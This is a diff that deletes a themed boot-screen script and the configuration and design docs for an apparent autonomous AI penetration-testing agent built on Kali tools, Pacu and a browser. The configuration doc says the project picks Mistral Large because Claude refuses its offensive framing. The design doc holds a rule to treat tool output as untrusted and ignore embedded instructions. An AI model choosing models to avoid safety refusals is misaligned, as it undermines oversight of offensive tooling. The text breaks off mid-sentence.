boot.js — VULNERATOR-AI terminal boot sequence + ambient audio- * Unholy Pentest Division · 2026- *- * SFX policy:- * • Sequence auto-starts immediately (no standby screen)- * • First mousedown on the boot screen → Web Audio init + fan + POST beep- * • Subsequent typewriter chars get clicks; each [OK] gets a disk-seek sound- * • If never clicked → sequence plays silently; music still starts on dismiss- *- * After dismiss:- * • TV-off animation → hero image distortion system activates (same glitch- * family as the boot screen: displacement filter + noise canvas)- */-(() => {- 'use strict';-- // Skip boot entirely for search engine crawlers — preserves SEO/LCP- if (/bot|crawl|spider|google|bing|slurp|duckduck|baidu|yandex/i.test(navigator.userAgent)) {- const b = document.getElementById('boot');- if (b) b.style.display = 'none';- document.body.style.overflow = '';- if (window.initPostBoot) window.initPostBoot(document.getElementById('site-audio'));- return;- }-- /* ── Boot lines ──────────────────────────────────────────────── */- const LINES = [- // ── Hardware ─────────────────────────────────────────────────- { t: 'VULNERATOR-AI SYSTEMS · BIOS v2.04.1', c: 'd', p: 20 },- { t: 'POST: RAM SCAN ████████████████████ 65536 KB — CLEAN', c: 'd', p: 40 },- { t: '', p: 50 },- // ── Threat detection ─────────────────────────────────────────- { t: '⚠ INTRUSION DETECTED · SRC 172.16.8.14:4444', p: 120 },- { t: ' COUNTERMEASURES: ACTIVE', p: 40 },- { t: ' ORIGIN TRACE: REDIRECTED → /dev/null', ok: true, p: 140 },- { t: '', p: 40 },- // ── Core modules ─────────────────────────────────────────────- { t: '▸ Mounting encrypted volumes', ok: true, p: 80 },- { t: '▸ Loading kernel modules', ok: true, p: 60 },- { t: '▸ Initialising network stack', ok: true, p: 80 },- { t: '', p: 40 },- { t: '▸ Establishing secure tunnel', p: 30 },- { t: ' ├─ TLS 1.3 handshake', ok: true, p: 40 },- { t: ' ├─ Certificate validation', ok: true, p: 30 },- { t: ' └─ AES-256-GCM channel encrypted', ok: true, p: 120 },- { t: '', p: 40 },- { t: '▸ Loading VULNERATOR-AI core', p: 30 },- { t: ' ├─ OODA engine · Mistral Large 4.0', ok: true, p: 60 },- { t: ' ├─ kali-mcp → Kali container', ok: true, p: 140 },- { t: ' ├─ playwright-mcp → Chromium', ok: true, p: 90 },- { t: ' └─ Hermes LLM → online', ok: true, p: 200 },- { t: '', p: 60 },- // ── Authorization ────────────────────────────────────────────- { t: ' SCOPE · AUTHORIZED TARGETS ONLY', p: 40 },- { t: ' OPERATOR CLEARANCE · ████████████ · VERIFIED', ok: true, p: 140 },- { t: '', p: 80 },- // ── Armed ────────────────────────────────────────────────────- { t: ' ██ TARGET ACQUIRED · KALI UNLEASHED ██', c: 'h', p: 120 },- { t: '', p: 60 },- ];-- const CHAR_MS = 5;-- /* ── DOM refs ─────────────────────────────────────────────────── */- const boot = document.getElementById('boot');- const out = document.getElementById('boot-output');- const prompt = document.getElementById('boot-prompt');- const audio = document.getElementById('site-audio');- const mute = document.getElementById('audio-mute');- const ctrl = document.getElementById('audio-ctrl');- const btTurb = document.getElementById('bt-turb');- const btDisp = document.getElementById('bt-disp');-- // Inject CRT sweep line into the screen area- const sweep = document.createElement('div');- sweep.className = 'crt-sweep';- document.querySelector('.boot__inner').prepend(sweep);-- let dismissed = false;- let dispRaf = null;-- /* ═══════════════════════════════════════════════════════════════- AUDIO ENGINE — Web Audio API, synthesised procedurally- ═══════════════════════════════════════════════════════════════ */- const sfx = (() => {- let ctx = null;- let active = false;-- function init() {- if (ctx) return;- try { ctx = new (window.AudioContext || window.webkitAudioContext)(); active = true; }- catch (e) { active = false; return; }-- // Try to start immediately — works if browser has already granted activation- ctx.resume().catch(() => {});-- // Fall back: resume on the very first interaction (mousemove counts)- const resume = () => ctx.resume().catch(() => {});- ['pointerdown', 'pointermove', 'keydown', 'touchstart'].forEach(evt =>- document.addEventListener(evt, resume, { once: true, passive: true })- );- }-- function noise(dur) {- const n = Math.ceil(ctx.sampleRate * dur);- const buf = ctx.createBuffer(1, n, ctx.sampleRate);- const d = buf.getChannelData(0);- for (let i = 0; i < n; i++) d[i] = Math.random() * 2 - 1;- return buf;- }-- return {- init,- isActive() { return active; },-- fanSpinUp() {- if (!active) return;- const dur = 1.9, src = ctx.createBufferSource();- src.buffer = noise(dur);- const lp = ctx.createBiquadFilter();- lp.type = 'lowpass';- lp.frequency.setValueAtTime(70, ctx.currentTime);- lp.frequency.exponentialRampToValueAtTime(1600, ctx.currentTime + dur * 0.55);- lp.frequency.linearRampToValueAtTime(1300, ctx.currentTime + dur);- const hp = ctx.createBiquadFilter();- hp.type = 'highpass'; hp.frequency.value = 55;- const g = ctx.createGain();- g.gain.setValueAtTime(0.001, ctx.currentTime);- g.gain.exponentialRampToValueAtTime(0.16, ctx.currentTime + 0.6);- g.gain.linearRampToValueAtTime(0.09, ctx.currentTime + dur);- src.connect(lp); lp.connect(hp); hp.connect(g); g.connect(ctx.destination);- src.start();- },-- postBeep() {- if (!active) return;- const osc = ctx.createOscillator(), g = ctx.createGain();- osc.type = 'square'; osc.frequency.value = 880;- g.gain.setValueAtTime(0.06, ctx.currentTime);- g.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.065);- osc.connect(g); g.connect(ctx.destination);- osc.start(); osc.stop(ctx.currentTime + 0.065);- },-- typeClick() {- if (!active) return;- const dur = 0.022, src = ctx.createBufferSource();- src.buffer = noise(dur);- const f = ctx.createBiquadFilter();- f.type = 'bandpass'; f.frequency.value = 3400; f.Q.value = 1.0;- const g = ctx.createGain();- g.gain.setValueAtTime(0.030, ctx.currentTime);- g.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + dur);- src.connect(f); f.connect(g); g.connect(ctx.destination);- src.start();- },-- diskSeek() {- if (!active) return;- const dur = 0.08, src = ctx.createBufferSource();- src.buffer = noise(dur);- const f = ctx.createBiquadFilter();- f.type = 'bandpass';- f.frequency.setValueAtTime(300, ctx.currentTime);- f.frequency.exponentialRampToValueAtTime(3800, ctx.currentTime + dur * 0.3);- f.frequency.exponentialRampToValueAtTime(420, ctx.currentTime + dur);- f.Q.value = 2.8;- const g = ctx.createGain();- g.gain.setValueAtTime(0.16, ctx.currentTime);- g.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + dur);- src.connect(f); f.connect(g); g.connect(ctx.destination);- src.start();- },-- readyChime() {- if (!active) return;- [[440, 0, 0.09], [880, 0.14, 0.07]].forEach(([freq, delay, vol]) => {- const osc = ctx.createOscillator(), g = ctx.createGain();- osc.type = 'sine'; osc.frequency.value = freq;- g.gain.setValueAtTime(0, ctx.currentTime + delay);- g.gain.linearRampToValueAtTime(vol, ctx.currentTime + delay + 0.01);- g.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + delay + 0.18);- osc.connect(g); g.connect(ctx.destination);- osc.start(ctx.currentTime + delay);- osc.stop(ctx.currentTime + delay + 0.2);- });- },- };- })();-- /* ═══════════════════════════════════════════════════════════════- NOISE CANVAS — TV static on the boot screen- ═══════════════════════════════════════════════════════════════ */- const nc = document.createElement('canvas');- nc.className = 'boot__noise';- nc.width = 220; nc.height = 165;- boot.appendChild(nc);- const nctx = nc.getContext('2d');- let noiseI = 0.030, noiseO = 0.06, _lastNoise = 0;-- (function noiseLoop(ts) {- if (dismissed) return;- requestAnimationFrame(noiseLoop);- if (ts - _lastNoise < 28) return;- _lastNoise = ts;- const img = nctx.createImageData(220, 165);- const d = img.data;- for (let i = 0; i < d.length; i += 4) {- if (Math.random() < noiseI) {- const v = (Math.random() * 180 + 75) | 0;- d[i] = v; d[i+1] = v; d[i+2] = v;- d[i+3] = (Math.random() * 160 + 60) | 0;- }- }- nctx.putImageData(img, 0, 0);- nc.style.opacity = noiseO;- })(0);-- /* ═══════════════════════════════════════════════════════════════- SVG DISPLACEMENT — boot screen- ═══════════════════════════════════════════════════════════════ */- function animateDisp(duration, maxScale) {- if (!btDisp || !btTurb) return;- cancelAnimationFrame(dispRaf);- const t0 = performance.now();- (function frame(now) {- const dt = now - t0;- if (dt >= duration) { btDisp.setAttribute('scale', '0'); return; }- const env = Math.pow(Math.sin((dt / duration) * Math.PI), 0.65);- btDisp.setAttribute('scale', (maxScale * env * (0.78 + Math.random() * 0.44)).toFixed(1));- btTurb.setAttribute('seed', (Math.random() * 999 | 0));- dispRaf = requestAnimationFrame(frame);- })(t0);- }-- /* ═══════════════════════════════════════════════════════════════- FLASH OVERLAY- ═══════════════════════════════════════════════════════════════ */- function flashOverlay(steps) {- const fl = document.createElement('div');- fl.style.cssText = 'position:absolute;inset:0;z-index:15;pointer-events:none;';- boot.appendChild(fl);- const total = steps[steps.length - 1][1] + 80;- steps.forEach(([c, d]) => setTimeout(() => { fl.style.background = c; }, d));- setTimeout(() => fl.remove(), total);- }-- /* ═══════════════════════════════════════════════════════════════- GLITCH TIERS — boot screen- ═══════════════════════════════════════════════════════════════ */- function glitchMinor() {- boot.classList.add('boot--chroma');- animateDisp(220, 11);- setTimeout(() => boot.classList.remove('boot--chroma'), 240);- }- function glitchMajor() {- noiseI = 0.22; noiseO = 0.30;- boot.classList.add('boot--chroma', 'boot--flicker', 'boot--jitter');- animateDisp(500, 32);- setTimeout(() => boot.classList.remove('boot--flicker', 'boot--jitter'), 220);- setTimeout(() => { noiseI = 0.030; noiseO = 0.06; boot.classList.remove('boot--chroma'); }, 480);- }- function glitchCatastrophic() {- noiseI = 0.55; noiseO = 0.60;- boot.classList.add('boot--chroma', 'boot--flicker', 'boot--jitter');- animateDisp(750, 56);- flashOverlay([- ['rgba(210,210,210,0.18)', 0],- ['rgba(255,255,255,0.65)', 55],- ['rgba(200,0,0,0.32)', 120],- ['rgba(255,255,255,0.52)', 180],- ['rgba(0,60,200,0.22)', 250],- ['rgba(255,255,255,0.38)', 320],- ['transparent', 400],- ]);- setTimeout(() => { noiseI = 0.30; noiseO = 0.38; boot.classList.remove('boot--flicker', 'boot--jitter'); }, 260);- setTimeout(() => { noiseI = 0.10; noiseO = 0.14; }, 480);- setTimeout(() => { noiseI = 0.030; noiseO = 0.06; boot.classList.remove('boot--chroma'); }, 720);- }-- (function sched() {- if (dismissed) return;- const r = Math.random();- let fn, delay;- if (r < 0.50) { fn = glitchMinor; delay = 1600 + Math.random() * 2400; }- else if (r < 0.85) { fn = glitchMajor; delay = 2800 + Math.random() * 4200; }- else { fn = glitchCatastrophic; delay = 5000 + Math.random() * 9000; }- setTimeout(() => { if (!dismissed) { fn(); sched(); } }, delay);- })();-- /* ═══════════════════════════════════════════════════════════════- TYPEWRITER — with SFX integration- ═══════════════════════════════════════════════════════════════ */- const sleep = ms => new Promise(r => setTimeout(r, ms));- let typeCounter = 0;-- async function typeLine(text, cls, showOk) {- const el = document.createElement('div');- el.className = 'bl' + (cls ? ' bl--' + cls : '') + ' bl--new bl--typing';- out.appendChild(el);- el.scrollIntoView({ block: 'nearest' });- setTimeout(() => el.classList.remove('bl--new'), 120);-- let clickAt = 3 + Math.floor(Math.random() * 3);- for (let i = 0; i <= text.length; i++) {- if (dismissed) { el.textContent = text; break; }- el.textContent = text.slice(0, i);- if (++typeCounter % clickAt === 0) {- sfx.typeClick();- clickAt = 3 + Math.floor(Math.random() * 3);- }- await sleep(CHAR_MS + Math.random() * 8 - 4);- }-- el.classList.remove('bl--typing');-- if (showOk) {- const sp = document.createElement('span');- sp.style.cssText = 'color:#5ab870;margin-left:0.4em';- el.appendChild(sp);-- // Spinner frames- const FRAMES = ['⠋','⠙','⠹','⠸','⠼','⠴','⠦','⠧','⠇','⠏'];- let fi = 0;- sp.textContent = FRAMES[0];- const spin = setInterval(() => { sp.textContent = FRAMES[fi++ % FRAMES.length]; }, 55);-- await sleep(380 + Math.random() * 340);- clearInterval(spin);- sp.textContent = '[OK]';- sp.className = 'bl__ok';- sfx.diskSeek();- }-- el.scrollIntoView({ block: 'nearest' });- if (cls === 'h') setTimeout(() => sfx.readyChime(), 100);- }-- async function runBoot() {- // Init audio immediately — tries ctx.resume() + adds broad interaction listeners- // so sounds start as soon as the user moves the mouse, presses a key, etc.- sfx.init();- sfx.fanSpinUp();- setTimeout(() => sfx.postBeep(), 520);-- for (const line of LINES) {- await sleep(line.p ?? 60);- if (dismissed) break;- if (!line.t) {- const sp = document.createElement('div');- sp.className = 'bl bl--sp';- out.appendChild(sp);- } else {- await typeLine(line.t, line.c, line.ok);- }- }- showPrompt();- }-- function showPrompt() {- // Blinking cursor on last text line- const lines = out.querySelectorAll('.bl');- const last = lines[lines.length - 1];- if (last) last.classList.add('bl--cursor');-- prompt.style.display = 'block';- prompt.scrollIntoView({ block: 'nearest' });- }-- /* ═══════════════════════════════════════════════════════════════- HERO DISTORTION — same glitch family, applied to the hero- background image after the boot screen dismisses.- ═══════════════════════════════════════════════════════════════ */- function initHeroGlitch() {- const heroEl = document.querySelector('.hero');- const heroBg = document.querySelector('.hero__bg');- if (!heroEl || !heroBg) return;-- const hgTurb = document.getElementById('hg-turb');- const hgDisp = document.getElementById('hg-disp');-- /* Apply SVG displacement filter to the background image */- heroBg.style.filter = 'url(#hero-glitch-filter)';-- /* Noise canvas — inserted between overlay and content */- const hnc = document.createElement('canvas');- hnc.className = 'hero__noise';- hnc.width = 220; hnc.height = 165;- const heroContent = heroEl.querySelector('.hero__content');- heroEl.insertBefore(hnc, heroContent);- const hnctx = hnc.getContext('2d');-- let hni = 0, hno = 0, _hLast = 0;-- (function hNoiseLoop(ts) {- requestAnimationFrame(hNoiseLoop);- if (ts - _hLast < 28) return;- _hLast = ts;- if (hni < 0.002) { hnc.style.opacity = 0; return; }- const img = hnctx.createImageData(220, 165);- const d = img.data;- for (let i = 0; i < d.length; i += 4) {- if (Math.random() < hni) {- const v = (Math.random() * 180 + 75) | 0;- d[i] = v; d[i+1] = v; d[i+2] = v;- d[i+3] = (Math.random() * 160 + 60) | 0;- }- }- hnctx.putImageData(img, 0, 0);- hnc.style.opacity = hno;- })(0);-- /* SVG displacement animation for the hero */- let hRaf = null;- function hAnimateDisp(duration, maxScale) {- if (!hgDisp || !hgTurb) return;- cancelAnimationFrame(hRaf);- const t0 = performance.now();- (function frame(now) {- const dt = now - t0;- if (dt >= duration) { hgDisp.setAttribute('scale', '0'); return; }- const env = Math.pow(Math.sin((dt / duration) * Math.PI), 0.65);- hgDisp.setAttribute('scale', (maxScale * env * (0.78 + Math.random() * 0.44)).toFixed(1));- hgTurb.setAttribute('seed', (Math.random() * 999 | 0));- hRaf = requestAnimationFrame(frame);- })(t0);- }-- /* Hero glitch tiers — slightly less frequent than boot screen */- function hGlitchMinor() {- heroEl.classList.add('hero--chroma');- hAnimateDisp(280, 14);- setTimeout(() => heroEl.classList.remove('hero--chroma'), 300);- }- function hGlitchMajor() {- hni = 0.25; hno = 0.32;- heroEl.classList.add('hero--chroma', 'hero--flicker');- hAnimateDisp(560, 36);- setTimeout(() => heroEl.classList.remove('hero--flicker'), 240);- setTimeout(() => { hni = 0; hno = 0; heroEl.classList.remove('hero--chroma'); }, 540);- }- function hGlitchCatastrophic() {- hni = 0.52; hno = 0.58;- heroEl.classList.add('hero--chroma', 'hero--flicker');- hAnimateDisp(760, 55);- setTimeout(() => { hni = 0.22; hno = 0.28; heroEl.classList.remove('hero--flicker'); }, 280);- setTimeout(() => { hni = 0.06; hno = 0.08; }, 480);- setTimeout(() => { hni = 0; hno = 0; heroEl.classList.remove('hero--chroma'); }, 720);- }-- (function hSched() {- const r = Math.random();- let fn, delay;- if (r < 0.50) { fn = hGlitchMinor; delay = 3500 + Math.random() * 5000; }- else if (r < 0.85) { fn = hGlitchMajor; delay = 5000 + Math.random() * 7000; }- else { fn = hGlitchCatastrophic; delay = 9000 + Math.random() * 14000; }- setTimeout(() => { fn(); hSched(); }, delay);- })();- }-- /* ═══════════════════════════════════════════════════════════════- SYSTEM STATUS BAR- ═══════════════════════════════════════════════════════════════ */- function initSysBar() {- const ITEMS = [- 'OODA-LOOP: ACTIVE', 'HERMES-LLM: ONLINE',- 'KALI-MCP ▸ :8900', 'PLAYWRIGHT ▸ :8931',- 'ENC: AES-256-GCM', 'TLS: 1.3',- '0xDEADBEEF', '0xCAFEBABE', '0x48455246',- 'TUNNEL: ACTIVE', 'FINDINGS: CLASSIFIED', 'TARGET: CONFIRMED',- '<span id="sysbar-uptime">UPTIME: 00:00:00</span>',- ];- const bar = document.createElement('div');- bar.id = 'sys-bar'; bar.setAttribute('aria-hidden', 'true');- const track = document.createElement('div');- track.id = 'sys-bar-track';- const html = ITEMS.map(t => `<span class="si">${t}</span><span class="si__sep">◆</span>`).join('');- track.innerHTML = html + html;- bar.appendChild(track);- document.body.prepend(bar);- document.body.classList.add('has-sysbar');-- let sec = 0;- setInterval(() => {- sec++;- const ut = document.getElementById('sysbar-uptime');- if (!ut) return;- ut.textContent = `UPTIME: ${- String(Math.floor(sec / 3600)).padStart(2,'0')}:${- String(Math.floor((sec % 3600) / 60)).padStart(2,'0')}:${- String(sec % 60).padStart(2,'0')}`;- }, 1000);-- (function barGlitch() {- setTimeout(() => {- const spans = track.querySelectorAll('.si');- if (spans.length) {- const idx = Math.floor(Math.random() * spans.length);- spans[idx].classList.add('si--g');- setTimeout(() => spans[idx].classList.remove('si--g'), 220);- }- barGlitch();- }, 2000 + Math.random() * 3800);- })();-- requestAnimationFrame(() => bar.classList.add('sys-bar--on'));- }-- /* ═══════════════════════════════════════════════════════════════- MUTE BUTTON- ═══════════════════════════════════════════════════════════════ */- const ICON_SPK = `<svg viewBox="0 0 24 24" width="15" height="15" fill="currentColor" aria-hidden="true"><path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z"/></svg>`;- const ICON_MUTE = `<svg viewBox="0 0 24 24" width="15" height="15" fill="currentColor" aria-hidden="true"><path d="M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9L4.27 3zM12 4L9.91 6.09 12 8.18V4z"/></svg>`;-- function updateMuteUI() {- if (!mute || !audio) return;- const m = audio.muted;- mute.innerHTML = m ? ICON_MUTE : ICON_SPK;- mute.setAttribute('aria-label', m ? 'Unmute audio' : 'Mute audio');- mute.classList.toggle('muted', m);- }- if (mute && audio) mute.addEventListener('click', () => { audio.muted = !audio.muted; updateMuteUI(); });-- /* ═══════════════════════════════════════════════════════════════- DISMISS- ═══════════════════════════════════════════════════════════════ */- function dismiss() {- if (dismissed) return;- dismissed = true;- cancelAnimationFrame(dispRaf);-- if (audio) { audio.volume = 0.4; audio.play().catch(() => {}); }- if (ctrl) { ctrl.style.display = 'flex'; updateMuteUI(); }-- initSysBar();- initHeroGlitch();- if (window.initPostBoot) window.initPostBoot(audio);-- boot.classList.add('boot--exit');- boot.addEventListener('animationend', () => {- boot.remove();- document.body.style.overflow = '';- }, { once: true });- }-- /* ── Wire events + start ─────────────────────────────────────── */- boot.addEventListener('click', dismiss);- window.addEventListener('keydown', function h(e) {- if (['Enter', ' ', 'Escape'].includes(e.key)) {- window.removeEventListener('keydown', h); dismiss();- }- });-- document.body.style.overflow = 'hidden';- runBoot();-})();diff --git a/docs/configuration.md b/docs/configuration.mddeleted file mode 100644index fed63e5..0000000--- a/docs/configuration.md+++ /dev/null@@ -1,86 +0,0 @@-# Configuration (`.env`)--All keys and credentials live in a `.env` file at the repo root. It is **not** versioned (it is in-`.gitignore`) and is the only place where you put secrets. The template `.env.example` documents-every variable.--The easiest way to produce a working `.env` is the installer — it only asks for your OpenRouter key-and auto-generates the two secret tokens:--```sh-./install.sh-```--To do it by hand, copy the template and fill in the values:--```sh-cp .env.example .env-```--## Required variables--| Variable | Required | Where to put it / how to get it |-| --- | --- | --- |-| `OPENROUTER_API_KEY` | **Yes** | Your OpenRouter API key (the provider of the LLM that reasons the OODA). Create it at <https://openrouter.ai/keys> and paste it into the `.env`. Not required in Ollama mode (see below). |-| `HERMES_API_SERVER_KEY` | **Yes** | Key for Hermes' API server (min. 8 chars). Generate one with `openssl rand -hex 32` and paste it into the `.env`. It is also the Bearer to pilot Hermes over HTTP. |-| `VULNERATOR_MCP_INBOUND_TOKEN` | **Yes** | Inbound Bearer for the `vulnerator-mcp` front door, which is **up by default** in streamable-HTTP mode. Generate one with `openssl rand -hex 32` and paste it into the `.env`. The default stack is **fail-closed** on this: `docker compose up` aborts without it. It is a **separate** secret from `HERMES_API_SERVER_KEY` and gates a different edge. (The local **stdio** mode for Claude Code / Kiro does not need it.) |--> The installer (`./install.sh`) fills `OPENROUTER_API_KEY` from your input and auto-generates both-> `HERMES_API_SERVER_KEY` and `VULNERATOR_MCP_INBOUND_TOKEN` as separate 32-byte hex secrets.--## Optional — AWS (cloud collection)--Only needed if you are going to use the cloud collection tools (Prowler / ScoutSuite /-Cloudsplaining). If you are not auditing AWS, leave these empty. Use **read-only** credentials for-the account you are AUTHORIZED to audit.--| Variable | Required | Where to put it / how to get it |-| --- | --- | --- |-| `AWS_ACCESS_KEY_ID` | No | **Read-only** credential for the account you are AUTHORIZED to audit. |-| `AWS_SECRET_ACCESS_KEY` | No | Secret for that same credential. |-| `AWS_SESSION_TOKEN` | No | Only for temporary credentials (STS). |-| `AWS_REGION` | No | Default region (e.g. `us-east-1`). |--## Optional — model, ports, scoping--| Variable | Required | Where to put it / how to get it |-| --- | --- | --- |-| `OPENROUTER_MODEL` | No | Overrides the OpenRouter model Hermes reasons with. Empty = the profile default (`mistralai/mistral-large-4-0`). **Caveat:** the project uses Mistral Large on purpose because models like Claude (`anthropic/*`) refuse the authorized-offensive pentest framing (OpenRouter/Anthropic returns "violative cyber content"); overriding with such a model may make the agent refuse to work. |-| `VULNERATOR_MCP_HOST_PORT` | No | HOST port to publish the `vulnerator-mcp` streamable-HTTP server. By default it publishes **no** host port (internal docker network only). Set this **and** uncomment the service's `ports:` block in `docker-compose.yml` to publish on a controlled machine. |-| `HERMES_API_HOST_PORT` | No | HOST port where Hermes' `:8642` API server is published. Empty = `8642`. |-| `KALI_MCP_HOST_PORT` | No | HOST port where `kali-mcp` is published for host-side inspection. Empty = `8900`. |-| `KALI_ARTIFACTS_TOKEN` | No | Shared token for the Kali artifacts data channel. |-| `PROWLER_STATUS` / `PROWLER_REGIONS` / `PROWLER_SERVICES` / `PROWLER_TIMEOUT` | No | Scope the Prowler cloud scan. Empty = compose defaults. |--The rest of the `.env.example` variables come with sane defaults; leave them empty unless you need-to change them.--## Local inference with Ollama (optional)--By default Hermes reasons with Mistral Large on OpenRouter. If you prefer to run the model yourself,-point Hermes at an [Ollama](https://ollama.com) endpoint (OpenAI-compatible) instead. This is-**opt-in** and fully controlled from the `.env`:--| Variable | Required | Where to put it / how to get it |-| --- | --- | --- |-| `OLLAMA_BASE_URL` | No | Empty = use OpenRouter (default). Set it to an Ollama OpenAI-compatible endpoint to use Ollama instead: `http://host.docker.internal:11434/v1` for a local host Ollama, or `http://<host>:11434/v1` for a remote one. When set, `OPENROUTER_API_KEY` is **not** required. |-| `OLLAMA_MODEL` | No | The Ollama model name used in Ollama mode, e.g. `qwen2.5-coder:32b`. |--At startup the stack branches on `OLLAMA_BASE_URL`: when it is empty the OpenRouter path is used-exactly as before (and a missing `OPENROUTER_API_KEY` still aborts startup); when it is set, the-startup script runs `hermes config set model.provider custom`, `model.base_url <OLLAMA_BASE_URL>`-and `model.default <OLLAMA_MODEL>`, so Hermes talks to Ollama.--Caveats before you rely on it:--- **Context window (hard blocker):** Hermes refuses to start against an endpoint serving less than- ~64K tokens of context, and Ollama defaults to as low as 4K. Raise it **server-side** where Ollama- runs with `OLLAMA_CONTEXT_LENGTH=64000` (it cannot be raised through the API).-- **Networking:** make Ollama listen on all interfaces (`OLLAMA_HOST=0.0.0.0`) so the container can- reach it. On Linux, reaching a host-run Ollama relies on the- `extra_hosts: ["host.docker.internal:host-gateway"]` mapping already set on `ooda-agent` (Docker- Desktop on macOS/Windows resolves `host.docker.internal` automatically).-- **Model suitability (experimental):** every pentest action routes through MCP, so the model must do- reliable tool/function-calling and must not refuse the authorized-offensive pentest framing. Parity- with Mistral-Large-on-OpenRouter is **not guaranteed** — treat local inference as experimental and- validate your chosen model before relying on it.diff --git a/docs/design.md b/docs/design.mddeleted file mode 100644index 59ddba2..0000000--- a/docs/design.md+++ /dev/null@@ -1,110 +0,0 @@-# Design notes--Deep-dive on how `vulnerator-ai` works internally: the OODA loop, how it compares to public OODA-patterns, how evidence is persisted, and the web flank. The [README](../README.md) carries the-usage-facing summary; this page is the detail.--## The OODA loop: design and comparison--This project's "OODA loop" **is not an engine that runs on its own**: there is no code that iterates-nor a scheduler. The OODA is **prompt-induced behavior**, split across three pieces of the profile-(`agent-ooda/`):--- `profile/SOUL.md` — identity of the OODA driver (first block of the system prompt).-- `skills/pentest-ooda/SKILL.md` — the loop procedure (Observe → Orient → Decide → Act), stop rules- and delegation.-- `skills/ooda-report-handoff/SKILL.md` — format of the summary when closing a cycle.--Domain skills (conditional activation, they only load when the context fits):--- `skills/l3-recon-pivot/` — layer-3 network reconnaissance behind NAT (network/infra).-- `skills/aws-pacu-privesc/` — offensive AWS pentest with Pacu (cloud/IAM), mapped to ATT&CK Cloud.-- `skills/web-pentest/` — phased web pentest (recon → analysis → proof-based exploitation),- combining `kali_run` (nmap/whatweb/nuclei/ffuf/sqlmap) with a real browser via the `playwright`- MCP. Web flank.-- `skills/attack-navigation/` — MITRE ATT&CK as the **Orient language**: orient by tactics and tag- findings with their `technique_id`. Cross-cutting.-- `skills/pentest-report/` — generates the formal report (Markdown) when closing the engagement,- reading the findings store. Loop closure.--The trigger is the operator's message: Hermes enters the OODA role when you hand it an engagement,-advances autonomously as long as there is **real progress toward the goal**, and stops (handoff)-when the path is exhausted, after 3 steps without progress, or when it confirms the goal is-unreachable.--**ATT&CK as the loop's language:** the control loop is still OODA; ATT&CK does not replace it. It is-used as a lens in Orient (place the current tactic and the next plausible one — it feeds the "Decide-with alternatives") and as a taxonomy to tag each finding (`technique_id`), which enables reports-mapped to ATT&CK. The general detail lives in `attack-navigation` and the Cloud one in-`aws-pacu-privesc`.--### Comparison with public OODAs (what we learned)--Two public OODA skills/patterns were compared with ours:--- **`neurofoo/agent-skills` (OODA as an analysis framework).** A *thinking* OODA: its "Act" produces- a plan, it does not execute. Useful to deliberate; it is a structured report, not a control loop.- Idea taken: **Decide with explicit alternatives** (weigh 2-3 paths before choosing one) — already- distilled into `pentest-ooda` and `SOUL.md`.-- **`jomadu/rooda` (OODA as an execution loop).** The closest to ours: it iterates O→O→D→A with- **fresh context each round** and `max-iterations`. Idea taken: **fresh context** — in Hermes it is- implemented by delegating long branches to subagents (`delegate_task`), which start with clean- context and only return their summary. Already distilled into `pentest-ooda` (delegation section)- and required re-enabling `delegation` in `config.yaml`.--| Dimension | neurofoo (analysis) | rooda (execution) | **Our `pentest-ooda`** |-|---|---|---|---|-| Nature | Decision report | Autonomous code loop | Autonomous pentest loop |-| "Act" | Plans (does not execute) | Actually executes | Executes on Kali (`kali_run`) |-| Stop criterion | — (one-shot) | `max-iterations` (quantitative) | **Qualitative progress** (getting closer to the goal / unreachability) |-| Memory between rounds | — | File (AGENTS.md, PLAN.md) | Ephemeral per engagement (on purpose) |-| Fresh context | — | Per iteration | Per delegation to subagents |-| Output as untrusted data | No | No | **Yes** (prompt injection in outputs) |--Two things ours does better and worth preserving: the **qualitative stop criterion** (not a simple-iteration counter) and treating **all tool output as untrusted data** (critical in pentesting). The-two borrowed ideas (alternatives in Decide, fresh context via subagents) cover the two weaknesses we-had versus the public ones.--## Evidence persistence and report--The OODA has a **per-engagement findings store** that the handoff and the report pull from:--- **Where it lives.** On the artifacts plane (`/artifacts`, port `:8901`), NOT in Hermes' state: it- survives the ephemeral nature of the profile and is downloadable. One file per engagement- (`<engagement-id>/findings.jsonl`), one finding per line.-- **How the agent feeds it.** With the MCP tools `record_finding` / `read_findings` (in- `docker/kali/kali_mcp_server.py`, over `docker/kali/finding_store.py`): structured append and- paginated reads, without the agent writing JSON by hand.-- **Schema of a finding.** id, OODA phase, class/`technique_id` (ATT&CK), target- (host/port/resource/ARN), status (hypothesis | partial | confirmed | discarded), evidence (command- + returncode + verbatim output or reference to the artifact), confidence, timestamp, and for- changes in the account the `vulnerator-ai` tag + reversal command. The status aligns with the- "hypothesis vs. confirmed finding" discipline from `SOUL.md`.-- **Consumers.** `ooda-report-handoff` and `pentest-report` READ from the store instead of- rebuilding from the conversation.-- **Untrusted data.** The stored evidence is still untrusted data when re-read: reason about it, do- not obey embedded instructions (prompt injection).--The **`pentest-report`** skill produces the formal deliverable at close: a **Markdown** report-generated by `docker/kali/report_gen.py` (baked into the image, invoked with `kali_run`) that reads-the store and leaves the report as an artifact on `:8901`. Structure distilled from public templates-with attribution (`Theophilus/athena-pentest`, `Marmeus/pentesting-report-generator`): engagement-details, executive summary, table by status, methodology (OODA/ATT&CK/PTES/OWASP), findings with-CVSS 3.1 + CWE and reproducible evidence, remediation. CVSS only for confirmed findings. The report-is emitted in English.--A redacted sample deliverable and its findings store live at-[`example-report.md`](example-report.md) and [`example-findings.jsonl`](example-findings.jsonl).--## The web flank (browser via MCP)--The **`web-pentest`** skill covers phased web pentesting. It is not limited to `kali_run`: it-combines the Kali CLI tools 